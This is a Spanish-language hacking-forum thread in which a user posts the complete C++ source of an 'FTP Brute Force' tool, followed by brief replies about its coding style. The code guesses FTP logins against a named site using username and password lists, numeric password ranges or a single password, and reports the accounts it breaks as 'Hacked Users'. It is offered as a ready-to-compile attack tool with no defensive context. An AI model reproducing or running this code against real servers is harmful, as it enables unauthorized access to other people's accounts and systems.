FTP Bruteforce

Iniciado por @ed33x, Enero 22, 2011, 10:10:02 PM

Tema anterior - Siguiente tema

0 Miembros y 3 Visitantes están viendo este tema.

Enero 22, 2011, 10:10:02 PM Ultima modificación: Febrero 08, 2014, 06:12:02 PM por Expermicid
Código: c
/*****
Ftp Brute Force , v1.0.
Written By WaReZ 
-----------------
Options:
        Single Username - Password list , Range passwords.
        Usernames list - Passwords List , Single password , Range Passwords.
---------------------------------------------------------------------------------------------
Compile:       
        g++ ftp.cpp -o ftp.exe

---------------------------------------------
*****/

#include <iostream>
#include <winsock.h>
#include <fstream>
#include <time.h>
using namespace std;

int ftp_connect(string user,string pass,char *site) {
         
sockaddr_in address;
         
size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);
         
strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);
       
char recv2[256];
ZeroMemory(&recv2,256);
       
hostent *host;
host = gethostbyname(site);

if(host != NULL)
{
           
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           
address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);     
 
 
int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);


  if(strstr(recv2,"230"))
  {
     return 230;
  }
       
  else if(strstr(recv2,"530"))
  {
     return 530;
  }
 
  else if(c != 0)
  {
     return -1;
  }
                   
  else
  {
     return WSAGetLastError();
  }
 
}

  else
  {
    return -1;
  } 
 
}         

int main(int argc,char *argv[])
{
     
cout << "\n#####################################\n"
         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"
         "#####################################\n\n";
 
WSADATA wsaData;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
  cout << "WSAGetLastError(): " << WSAGetLastError();
  exit(1);
}
 
         
if(argc < 2)
{
  cout << "Usage: " << argv[0] << "\n\n";
  cout << "-user         singal username\n";
  cout << "-ul           usernames list\n";
  cout << "-start        start range\n";
  cout << "-end          end range\n";
  cout << "-pl           passwords list\n";
  cout << "-sp           singal password for users list\n";
  cout << "-site         site that be checked\n\n";

  cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}

       
else
{
   
  cout <<  "[~] Starting ...\n\n";
  char buffer[256],rcv[256]; 
 
 
  int check = 0;
  int tstart = 0 ,tend = 0;
  int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  char passwords[256],site[256] = "", users[256];
  ifstream passlist,userlist;
 
for(int i = 1; i <= argc-1;i++)
{
             
    if(argv[i+1] != NULL)
    {
         
     if(strstr(argv[i],"-user"))
     {
        realuser = argv[i+1];       
        user = "USER ";
        user += argv[i+1];
        user += "\r\n";
        u = 1;                   
     }
   
     if(strstr(argv[i],"-start"))
     {                       
        tstart = atoi(argv[i+1]);
        start = 1;             
     }
   
     if(strstr(argv[i],"-end"))
     {                     
        tend = atoi(argv[i+1]);
        end = 1;                                   
     }
   
     if(strstr(argv[i],"-pl"))
     {                     
        passlist.open(argv[i+1]);
        if(!passlist.fail())
        {
        pl = 1;
        }                           
     }
   
     if(strstr(argv[i],"-site"))
     {                             
       site2 = argv[i+1];
       strncpy(site,site2.c_str(),256);
       check_site = 1;                           
     }
   
     if(strstr(argv[i],"-ul"))
     {
        userlist.open(argv[i+1]);
        if(!userlist.fail())
        {
        ul = 1;
        }                 
     }
   
     if(strstr(argv[i],"-sp"))
     {
        sinpass = argv[i+1];
        realpass = argv[i+1];
        spass = 1;                       
     }
   
  }       
}

time_t time1;
time1 = time(NULL);

if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
   for(int p = tstart; p <= tend; p++)
   {   
         attempt+= 1; 
       
         pass = "PASS ";
         pass+=itoa(p,buffer,10);
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
       
         if(b == 230)
         {
             cout << realuser << "::" << p << " - Succeed" << endl;
             break;
         }
       
         else if(b == 530)
         {
             cout << realuser << "::" << p << " - Fail" << endl;
         }
     
         else if(b == -1)
         {
             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
         }
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         attempt+= 1;
                     
   }
}
 
else if(pl == 1 && u == 1 && check_site == 1)
{     
   while(!passlist.eof())
   {                         
      attempt+= 1; 
     
      passlist.getline(passwords,100); 
      pass = "PASS ";
      pass+= passwords;
      pass+= "\r\n";
     
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << realuser << "::" << passwords << " - Succeed" << endl;
          hacked = 1;
          break;
      }
       
      else if(b == 530)
      {
          cout << realuser << "::" << passwords << " - Fail" << endl;
      }
   
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                           
   }
 
   if(hacked == 0)
   {
       cout <<  "\n\nNon password was matched.\n\n";
   }
}
 
else if(ul == 1 && pl == 1 && check_site == 1)
{       
   while(!userlist.eof())
   {
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n";                       
     
      while(!passlist.eof())
      { 
         attempt+= 1; 
                                   
         passlist.getline(passwords,100); 
         pass = "PASS ";
         pass+= passwords;
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
   
         if(b == 230)
         {
             cout << users << "::" << passwords << " - Succeed" << endl;
             correct_pass+= users;
             correct_pass+= "::";
             correct_pass+= passwords;
             correct_pass+= "\n";
             hacked+= 1;
             passlist.clear();             
             passlist.seekg(0,ios::beg);
             cout << "-------------------------\n";
             break;
     
         }
       
         else if(b == 530)
         {
             cout << users << "::" << passwords << " - Fail" << endl;         
         }
     
         else if(b == -1)
         {
            cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
            error = 1;
            break;   
         }     
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         if(passlist.eof())
         {
            cout << "-------------------------\n";             
            passlist.clear();             
            passlist.seekg(0,ios::beg);
            break;                   
         }

     }
   
     if(error == 1)
     {
         break;
     }       
}
        if(error != 1)
        {
            if(hacked > 0)
            {             
                cout << "\nHacked Users:\n\n";
                cout << correct_pass;
                cout << "\n" << hacked << " Users Was Hacked\n";
            }
           
            else
            {
              cout << "\n\nNon password was matched.\n\n";   
            }
        }
}

else if(spass == 1 && ul == 1 && check_site == 1)
{
   while(!userlist.eof())
   { 
      attempt+= 1; 
     
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n"; 
       
      pass = "PASS ";
      pass+= sinpass;
      pass+= "\r\n";
           
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << users << "::" << realpass << " - Succeed" << endl;
          fileusers+= users;
          fileusers+= "::";
          fileusers+= realpass;
          fileusers+= "\n";
          hacked+= 1;
      }
       
      else if(b == 530)
      {
          cout << users << "::" << realpass << " - Fail" << endl;         
      }
     
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                                         
   } 
      if(error != 1)
      {                     
          if(hacked > 0)
          {       
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
   
          else
          {
              cout << "\n\nNon password was matched.\n\n"; 
          }
       } 
       
}

else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
    while(!userlist.eof())
    {                       
       userlist.getline(users,100);
         
       for(int d = tstart; d <= tend;d++)
       { 
         
          attempt+= 1; 
         
          user = "USER ";
          user+= users;
          user+= "\r\n";
         
          pass = "PASS ";
          pass+= itoa(d,buffer,10);
          pass+= "\r\n"; 
         
          int b = ftp_connect(user,pass,site);
     
          if(b == 230)
          {
              cout << users << "::" << d << " - Succeed" << endl;
              fileusers+= users;
              fileusers+= "::";
              fileusers+= itoa(d,buffer,10);
              fileusers+= "\n";
              hacked+= 1;
              break;
          }
         
          else if(b == 530)
          {
              cout << users << "::" << d << " - Fail" << endl;         
          }
               
          else if(b == -1)
          {
             cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
          }
         
          else
          {         
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
          } 
           
      }
          cout << "----------------------\n"; 
   }
   
      if(error != 1)
      {             
          if(hacked > 0)
          {
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
         
          else
          {
             cout << "\n\nNon password was matched\n\n";   
          }
      }           

 
else
{
    if(tstart > tend)
    {
      cout << "Error: Start range bigger then end range.\n";       
    }
   
    else if(strlen(site) < 1)
    {
       cout << "Error: You forget to write the site.\n";
    }
   
    else if(passlist.fail() || userlist.fail())
    {
      cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";   
    }
     
    else
    {
      cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
    }
}     

time_t time2;
time2 = time(NULL);
cout << "\nAttempts: " << attempt << "\n";
cout << "Time elapsed: " << time2-time1 << "\n";
}
}
Me cambie de messenger ahora es: No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta


         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"



Bueno... veo muchos for he if.. lo cual podria conbinarse los switch para poder achicar el code muchas lineas xD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


saludos

Si lo se cygog pero como viste no lo programe yo xD.

Saludos
Me cambie de messenger ahora es: No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta